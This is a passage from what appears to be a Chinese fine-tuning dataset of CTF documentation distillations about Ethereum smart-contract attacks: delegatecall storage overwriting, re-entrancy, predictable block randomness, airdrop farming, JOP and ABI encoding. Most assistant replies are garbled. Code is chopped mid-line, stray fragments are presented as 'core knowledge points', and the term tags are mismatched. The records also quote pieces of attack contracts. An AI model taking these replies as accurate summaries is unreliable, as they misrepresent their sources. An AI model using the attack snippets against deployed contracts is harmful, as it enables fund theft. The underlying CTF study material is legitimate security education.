and Argument Encoding", "Function Selector and Argument Encoding", "例子"], "original_id": "docs-99b812eb4c183b542b75", "original_line": 8, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/selector-encoding.md", "source_root": "docs", "source_sha256": "0a058ad1012e9278f0dfa4356ae505538d8f67c22ed3e609791e775cd0d438d5", "split": "train", "split_group_key": "f64a002af5c39c39005394e4", "subcategory": "blockchain/ethereum/selector-encoding.md", "terms": ["区块链安全", "AI安全", "blockchain", "ethereum", "selector-encoding.md"], "title": "Function Selector and Argument Encoding"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/selector-encoding.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-850efa3a047ea0cfd34f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/storage.md` 中的章节「映射」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/storage.md`\n标题：Ethereum Storage\n章节：插槽式数组存储 > 映射\n路径分类：blockchain / blockchain/ethereum/storage.md\n分块：1/1\n\n核心知识点：\n- 映射中的键 k 所对应的值会位于 keccak256(k . p)， 其中 . 是连接符。\n- 如果该值同时是一个非基本类型，则将 keccak256(k . p) 作为偏移量来找到具体的位置。\n- 如以下合约： ``solidity pragma solidity ^0.4.0;\n- // 1 } ` 其存储布局如下： ` ----------------------------------------------------- | reserved (a) | <- slot 0 ----------------------------------------------------- | b (32) | <- slot 1 ----------------------------------------------------- | ... | ...... ------------...\n- 0) ----------------------------------------------------- | ... | ...... ----------------------------------------------------- ``\n- 对于形如 mapping(address => uint) a;\n\n关键术语：\n- 密码学\n- 区块链安全\n- AI安全\n- blockchain\n- ethereum\n- storage.md\n- code:solidity\n\n代码/命令片段线索：\n- solidity: 5 行，首行 `pragma solidity ^0.4.0;`\n- plain: 11 行，首行 `-----------------------------------------------------`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 789, "chunk_count": 1, "chunk_index": 0, "ctf_score": 19, "ctf_task_type": "blockchain", "heading": "映射", "heading_path": ["插槽式数组存储", "映射"], "original_id": "docs-214575f65dd4aefe5047", "original_line": 154, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/storage.md", "source_root": "docs", "source_sha256": "b6d723b9e69ae4d20f3fed911150ebf8d4d645b2c1b4bd80d4a2f7acd60da3ab", "split": "train", "split_group_key": "76223e53def5d60c79c26332", "subcategory": "blockchain/ethereum/storage.md", "terms": ["密码学", "区块链安全", "AI安全", "blockchain", "ethereum", "storage.md", "code:solidity"], "title": "Ethereum Storage"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/storage.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-8663d95640b8946e6735", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/attacks/delegatecall.md` 中的章节「原因分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/attacks/delegatecall.md`\n标题：Delegatecall\n章节：Delegatecall > 原理 > Delegatecall 滥用 > 原因分析\n路径分类：blockchain / blockchain/ethereum/attacks\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原因分析”展开。\n- function withdelegatecall(address testaddress) public { testaddress.delegatecall(bytes4(keccak256(\"test()\")));\n- ``solidity pragma solidity ^0.4.23;\n- 文件: ./figure/delegatecall.png] sstore 即访存指令，可以看到写入的是 1 号存储位，1号存储位 在 B 合约中即对应变量 c，在 A 合约中则对应变量 b，所以事实上调用 delegatecall 来使用 Storage 变量时依据并不是变量名，而是变量的存储位，这样的话我们就可以达到覆盖相关变量的目的。\n- function test() public returns (address a) { a = address(this);\n- } } `` 来看上面这个例子，假设合约 A 部署后地址为 address_a，合约 B 部署后地址为 address_b，使用 外部账户 C 调用 withdelegatecall(address_a)，address_a 和 address_b 中的 b、c 变量分别是多少？\n\n关键术语：\n- 密码学\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- ethereum\n- attacks\n- delegatecall.md\n- code:solidity\n\n代码/命令片段线索：\n- solidity: 16 行，首行 `pragma solidity ^0.4.23;`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 773, "chunk_count": 1, "chunk_index": 0, "ctf_score": 21, "ctf_task_type": "blockchain", "heading": "原因分析", "heading_path": ["Delegatecall", "原理", "Delegatecall 滥用", "原因分析"], "original_id": "docs-d54840b3d564ce173a6a", "original_line": 172, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/delegatecall.md", "source_root": "docs", "source_sha256": "240200ba37fa64de7c46873c26b3b842590cd4baeccb16d874fc410ddbd7beb6", "split": "train", "split_group_key": "90dc6b6656668c9a3e29f123", "subcategory": "blockchain/ethereum/attacks", "terms": ["密码学", "区块链安全", "AI安全", "漏洞利用", "blockchain", "ethereum", "attacks", "delegatecall.md", "code:solidity"], "title": "Delegatecall"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/delegatecall.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-8707386c2bfedae0afdf", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/selector-encoding.md` 中的章节「例子」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/selector-encoding.md`\n标题：Function Selector and Argument Encoding\n章节：Function Selector and Argument Encoding > Function Selector and Argument Encoding > 例子\n路径分类：blockchain / blockchain/ethereum/selector-encoding.md\n分块：1/4\n\n核心知识点：\n- 本节主题围绕“例子”展开。\n- `` 0x0d2032f1 // function selector 0 - 0x1122330000000000000000000000000000000000000000000000000000000000 // data of first parameter ``\n- `` 0x2b231dad // function selector 0 - 0x1122330000000000000000000000000000000000000000000000000000000000 // first data of first parameter 1 - 0x4455660000000000000000000000000000000000000000000000000000000000 // second data of first parameter ``\n- `` 0x92e92919 // function selector 0 - 0x0000000000000000000000000000000000000000000000000000000000000123 // data of first parameter 1 - 0x0000000000000000000000000000000000000000000000000000000000000001 // data of second parameter ``\n- - test4(0x123,[\"0x11221122\",\"0x33443344\"],\"0x31323334353637383930\",\"0x3132333435\")\n- ``` 0x4d189ce2 // function selector 0 - 0x0000000000000000000000000000000000000000000000000000000000000123 // data of first parameter 1 - 0x0000000000000000000000000000000000000000000000000000000000000080 // offset of second parameter 2 - 0x3132333435363738...\n\n关键术语：\n- 区块链安全\n- AI安全\n- blockchain\n- ethereum\n- selector-encoding.md\n\n代码/命令片段线索：\n- plain: 2 行，首行 `0x0d2032f1 // function selector`\n- plain: 3 行，首行 `0x2b231dad // function selector`\n- plain: 3 行，首行 `0x92e92919 // function selector`\n- plain: 21 行，首行 `0x4d189ce2 // function selector`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 4859, "chunk_count": 4, "chunk_index": 0, "ctf_score": 19, "ctf_task_type": "blockchain", "heading": "例子", "heading_path": ["Function Selector and Argument Encoding", "Function Selector and Argument Encoding", "例子"], "original_id": "docs-022fbea71f28b0204b0f", "original_line": 149, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/selector-encoding.md", "source_root": "docs", "source_sha256": "0a058ad1012e9278f0dfa4356ae505538d8f67c22ed3e609791e775cd0d438d5", "split": "train", "split_group_key": "f64a002af5c39c39005394e4", "subcategory": "blockchain/ethereum/selector-encoding.md", "terms": ["区块链安全", "AI安全", "blockchain", "ethereum", "selector-encoding.md"], "title": "Function Selector and Argument Encoding"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/selector-encoding.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-8b7953b5e4990bdb540d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/attacks/randomness.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/attacks/randomness.md`\n标题：Randomness\n章节：Randomness > 使用区块变量的伪随机数 > 原理\n路径分类：blockchain / blockchain/ethereum/attacks\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- 在公开的链如 Ropsten 上，这个方法就不太可行，但我们也可以编写攻击合约，在攻击合约中获取到相同的区块变量值，进一步用相同的算法得到随机数值。\n- EVM 有五个字节码可以获取当前区块的变量，包括 coinbase、timestamp、number、difficulty、gaslimit。\n- 这些变量对矿工来说，都是已知或者可操控的，因此在私有链部署的题目中，可以作为恶意的矿工控制随机数的结果。\n\n关键术语：\n- ROP/JOP\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- ethereum\n- attacks\n- randomness.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 197, "chunk_count": 1, "chunk_index": 0, "ctf_score": 23, "ctf_task_type": "blockchain", "heading": "原理", "heading_path": ["Randomness", "使用区块变量的伪随机数", "原理"], "original_id": "docs-1d4c670062afbc2021ff", "original_line": 179, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/randomness.md", "source_root": "docs", "source_sha256": "ba2f6577866112dfaa7937bce8f66b068b3499c7af28aba5f2126be866be7cc5", "split": "train", "split_group_key": "b4c9ad858c81f3d2cacf6e93", "subcategory": "blockchain/ethereum/attacks", "terms": ["ROP/JOP", "区块链安全", "AI安全", "漏洞利用", "blockchain", "ethereum", "attacks", "randomness.md"], "title": "Randomness"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/randomness.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-963e28c595ebd549cb81", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/attacks/re-entrancy.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/attacks/re-entrancy.md`\n标题：Re-Entrancy\n章节：Re-Entrancy > 原理\n路径分类：blockchain / blockchain/ethereum/attacks\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- 假设攻击合约的存款有 1 ether，可以如下实现取出 2 ether： `solidity contract Hacker { bool status = false;\n- 在以太坊中，合约的调用者可以是另一个智能合约，转账时收款合约的 fallback 函数会被调用。\n- 但如果使用 transfer 或者 send 来发送以太币，只有 2300 gas 供攻击合约使用，是不足以完成重入攻击的。\n- 但注意到存款由 uint256 保存，负数实际上保存为一个极大的正数，后续攻击合约可以继续使用这个大数额的存款。\n- 假设有一个银行合约实现了以下取款功能，在 balanceOf[msg.sender] 充足时，合约会转账相应数量的以太币给调用者，并且将 balanceOf 减去相应值： ``solidity contract Bank { mapping(address => uint256) public balanceOf;\n\n关键术语：\n- 边界/溢出\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- ethereum\n- attacks\n- re-entrancy.md\n- code:solidity\n\n代码/命令片段线索：\n- solidity: 9 行，首行 `contract Bank {`\n- solidity: 16 行，首行 `contract Hacker {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 1252, "chunk_count": 1, "chunk_index": 0, "ctf_score": 21, "ctf_task_type": "blockchain", "heading": "原理", "heading_path": ["Re-Entrancy", "原理"], "original_id": "docs-4ef7f76e17aacde2316e", "original_line": 183, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/re-entrancy.md", "source_root": "docs", "source_sha256": "fae66cf201285de43d7fc52fe4aa064e0a479194a9c0e923986ff2776dcea4c7", "split": "train", "split_group_key": "b4c953b5570345c14b0020c5", "subcategory": "blockchain/ethereum/attacks", "terms": ["边界/溢出", "区块链安全", "AI安全", "漏洞利用", "blockchain", "ethereum", "attacks", "re-entrancy.md", "code:solidity"], "title": "Re-Entrancy"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/re-entrancy.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-9c5984a24d3f3fe5d977", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/attacks/uninitialized-storage-pointer.md` 中的章节「参考」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/attacks/uninitialized-storage-pointer.md`\n标题：Uninitialized Storage Pointer\n章节：Uninitialized Storage Pointer > 参考\n路径分类：blockchain / blockchain/ethereum/attacks\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“参考”展开。\n- 以太坊 Solidity 未初始化存储指针安全风险浅析 - Balsn CTF 2019 - Bank\n\n关键术语：\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- ethereum\n- attacks\n- uninitialized-storage-pointer.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 219, "chunk_count": 1, "chunk_index": 0, "ctf_score": 23, "ctf_task_type": "blockchain", "heading": "参考", "heading_path": ["Uninitialized Storage Pointer", "参考"], "original_id": "docs-ca8448d727db43a04130", "original_line": 187, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/uninitialized-storage-pointer.md", "source_root": "docs", "source_sha256": "deb2007f85b1970ddff4168c27b979d4168adbea6aad2279c6a0b75613d6c737", "split": "train", "split_group_key": "eeaaeb0c8ed24b83acbf5110", "subcategory": "blockchain/ethereum/attacks", "terms": ["区块链安全", "AI安全", "漏洞利用", "blockchain", "ethereum", "attacks", "uninitialized-storage-pointer.md"], "title": "Uninitialized Storage Pointer"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/uninitialized-storage-pointer.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-9d2c0fe1d8e33efdb161", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/attacks/delegatecall.md` 中的章节「Exp」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/attacks/delegatecall.md`\n标题：Delegatecall\n章节：Delegatecall > 例子 > Exp\n路径分类：blockchain / blockchain/ethereum/attacks\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Exp”展开。\n- // Sets the function signature for delegatecall bytes4 constant setTimeSignature = bytes4(keccak256(\"setTime(uint256)\"));\n- function attack1() { target.setFirstTime(uint(address(this)));\n- } function attack2() { target.setFirstTime(uint(0x88d3052d12527f1fbe3a6e1444ea72c4ddb396c2));\n- ``solidity pragma solidity ^0.4.23;\n- } } contract attack { address public timeZone1Library;\n\n关键术语：\n- 密码学\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- ethereum\n- attacks\n- delegatecall.md\n- code:solidity\n\n代码/命令片段线索：\n- solidity: 49 行，首行 `pragma solidity ^0.4.23;`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 1592, "chunk_count": 1, "chunk_index": 0, "ctf_score": 21, "ctf_task_type": "blockchain", "heading": "Exp", "heading_path": ["Delegatecall", "例子", "Exp"], "original_id": "docs-03cdf7bf87a67997a6cd", "original_line": 174, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/delegatecall.md", "source_root": "docs", "source_sha256": "240200ba37fa64de7c46873c26b3b842590cd4baeccb16d874fc410ddbd7beb6", "split": "train", "split_group_key": "1d7eeed19f83e03e2faf3ea2", "subcategory": "blockchain/ethereum/attacks", "terms": ["密码学", "区块链安全", "AI安全", "漏洞利用", "blockchain", "ethereum", "attacks", "delegatecall.md", "code:solidity"], "title": "Delegatecall"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/delegatecall.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-a4b6b26304f2013a29ba", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/challenges.md` 中的章节「Game of Ethereum Smart Contract Security」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/challenges.md`\n标题：Blockchain Security Challenges\n章节：Blockchain Security Challenges > Game of Ethereum Smart Contract Security\n路径分类：blockchain / blockchain/challenges.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Game of Ethereum Smart Contract Security”展开。\n- https://ethernaut.openzeppelin.com/ + WP 链接 https://hitcxy.com/2019/ethernaut/ - https://capturetheether.com/challenges/ + WP 链接 WP1 传送门 WP2 传送门 - https://blockchain-ctf.securityinnovation.com/#/ + WP 链接 https://hitcxy.com/2020/securityinnovation/ - https:/...\n\n关键术语：\n- 区块链安全\n- AI安全\n- blockchain\n- challenges.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 768, "chunk_count": 1, "chunk_index": 0, "ctf_score": 23, "ctf_task_type": "blockchain", "heading": "Game of Ethereum Smart Contract Security", "heading_path": ["Blockchain Security Challenges", "Game of Ethereum Smart Contract Security"], "original_id": "docs-d21cb188180a4f185d8c", "original_line": 126, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/challenges.md", "source_root": "docs", "source_sha256": "1f5f6784399cc85eae9741b340c486348077befe391df570d2add24412f6209c", "split": "train", "split_group_key": "5fc1de093057e019e245034e", "subcategory": "blockchain/challenges.md", "terms": ["区块链安全", "AI安全", "blockchain", "challenges.md"], "title": "Blockchain Security Challenges"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/challenges.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-a91e7d376c99db121525", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/attacks/airdrop-hunting.md` 中的章节「例子」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/attacks/airdrop-hunting.md`\n标题：Airdrop Hunting\n章节：Airdrop Hunting > 例子\n路径分类：blockchain / blockchain/ethereum/attacks\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例子”展开。\n- } ` 那么我们可以使用薅羊毛的攻击方式，创建 1000 个临时合约来调用空投函数，并转账给主合约来使得 balanceOf[msg.sender] >= 100000。\n- 以数字经济大赛 2019 的 jojo 一题为例，讲解一下如何进行薅羊毛攻击。\n- 题目合约的源码如下： ``solidity pragma solidity ^0.4.24;\n- function payforflag(string b64email) public { require(balanceOf[msg.sender] >= 100000);\n- `solidity function gift() public { assert(gift[msg.sender] == 0);\n\n关键术语：\n- ROP/JOP\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- ethereum\n- attacks\n- airdrop-hunting.md\n- code:solidity\n\n代码/命令片段线索：\n- solidity: 28 行，首行 `pragma solidity ^0.4.24;`\n- solidity: 5 行，首行 `function gift() public {`\n- solidity: 5 行，首行 `function transfer(address to,uint value) public{`\n- solidity: 18 行，首行 `contract attack{`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 1728, "chunk_count": 1, "chunk_index": 0, "ctf_score": 25, "ctf_task_type": "blockchain", "heading": "例子", "heading_path": ["Airdrop Hunting", "例子"], "original_id": "docs-cec9d4c40e8cc1fff3cd", "original_line": 161, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/airdrop-hunting.md", "source_root": "docs", "source_sha256": "b2bf7c80f8ceb743e8a351bc1cbb9742c80941762423ea1a6e1db51a447f612e", "split": "train", "split_group_key": "056fcef26afa6e2769276835", "subcategory": "blockchain/ethereum/attacks", "terms": ["ROP/JOP", "区块链安全", "AI安全", "漏洞利用", "blockchain", "ethereum", "attacks", "airdrop-hunting.md", "code:solidity"], "title": "Airdrop Hunting"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/airdrop-hunting.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-ab65e9241989884149bf", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/attacks/jump-oriented-programming.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/attacks/jump-oriented-programming.md`\n标题：Jump Oriented Programming\n章节：Jump Oriented Programming > 原理\n路径分类：blockchain / blockchain/ethereum/attacks\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- 涉及到JOP 的是如下三个字节码： - 0x56 JUMP - 0x57 JUMPI - 0x5B JUMPDEST 在 EVM 中的无条件跳转 JUMP 和条件跳转 JUMPI 的目的地都必须是 JUMPDEST，这点和 ROP 可以任选返回地址不同。\n- 另外需要注意的是，EVM 虽然使用的是变长指令，但是不允许像 ROP 那样跳到一条指令的中间。\n- 比如 64 位的 pop r15 是 A_，ROP 时直接落在第二个字节则可以当成 pop rdi 使用；\n- 通常需要用到 JOP 的合约在编写时都夹杂着内联汇编的后门，需要人工逆向识别查找两样东西： 1. 通常控制流可达、可以控制跳转地址的起点 1.\n- JUMPDEST 之后实现了一些特殊功能，然后再接一个 JUMP 指令的各种 gadget gadget 需要实现的功能因题目要求或考察点而异，比如要实现一个外部合约的调用，就要先按照顺序将各种偏移、gas等数据布置在栈上。\n\n关键术语：\n- 栈\n- ROP/JOP\n- 区块链安全\n- AI安全\n- 漏洞利用\n- blockchain\n- ethereum\n- attacks\n- jump-oriented-programming.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 839, "chunk_count": 1, "chunk_index": 0, "ctf_score": 23, "ctf_task_type": "blockchain", "heading": "原理", "heading_path": ["Jump Oriented Programming", "原理"], "original_id": "docs-79a56db0f8cadd094204", "original_line": 175, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/jump-oriented-programming.md", "source_root": "docs", "source_sha256": "c34fa31e74cac96e7ee064a13d541b6e2776073c7c74f7d03a0897bb93c5efee", "split": "train", "split_group_key": "ff7f54bfbd4911b6dbf4f171", "subcategory": "blockchain/ethereum/attacks", "terms": ["栈", "ROP/JOP", "区块链安全", "AI安全", "漏洞利用", "blockchain", "ethereum", "attacks", "jump-oriented-programming.md"], "title": "Jump Oriented Programming"}, "source_dataset": "docs_distilled_v1", "source_path": "blockchain/ethereum/attacks/jump-oriented-programming.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "blockchain", "ctf_task_type": "blockchain", "dataset": "ctf-dataset", "id": "ctf-lora-ad4808ff7983453c7d6d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/blockchain/ethereum/selector-encoding.md` 中的章节「例子」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/blockchain/ethereum/selector-encoding.md`\n标题：Function Selector and Argument Encoding\n章节：Function Selector and Argument Encoding > Function Selector and Argument Encoding > 例子\n路径分类：blockchain / blockchain/ethereum/selector-encoding.md\n分块：4/4\n\n核心知识点：\n- 本节主题围绕“例子”展开。\n- 000000000000000 // encoding of \"two\" 7 - 0x0000000000000000000000000000000000000000000000000000000000000005 // count for \"three\" 8 - 0x7468726565000000000000000000000000000000000000000000000000000000 // encoding of \"three\" d 指向 “one” 的开始，所以 d=0x203=0x60 e 指...\n- 然后是 [\"one\",\"two\",\"three\"] 动态数组本身的 encoding 0 - g // offset of [\"one\",\"two\",\"three\"] 1 - 0x0000000000000000000000000000000000000000000000000000000000000003 // count for [\"one\",\"two\",\"three\"] 2 - 0x0000000000000000000000000000000000000000000000000000000000000...\n- 上面就已经把最后就是 [[1,2],[3]] 和 [\"one\",\"two\",\"three\"] 分析完毕，最后就是其作为一个整体进行 encoding 0 - 0x0000000000000000000000000000000000000000000000000000000000000040 // offset of [[1,2],[3]] 1 - g // offset of [\"one\",\"two\",\"three\"] 2 - 0x000000000000000000000000000000000000000...\n- 所以总的 selector + encoding 如下所示 0xcc80bc65 // function selector 0 - 0x0000000000000000000000000000000000000000000000000000000000000040 // offset of [[1,2],[3]] 1 - 0x0000000000000000000000000000000000000000000000000000000000000140 // offset of [\"one\",\"two\",\"t...\n\n关键术语：\n- 区块链安全\n- AI安全\n- blockchain\n- ethereum\n- selector-encoding.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "blockchain", "chars": 5178, "chunk_count": 4, "chunk_index": 3, "ctf_score": 19, "ctf_task_type": "blockchain", "heading": "例子", "heading_path": ["Function Selector and Argument Encoding", "Function Selector and Argument Encoding", "例子"], 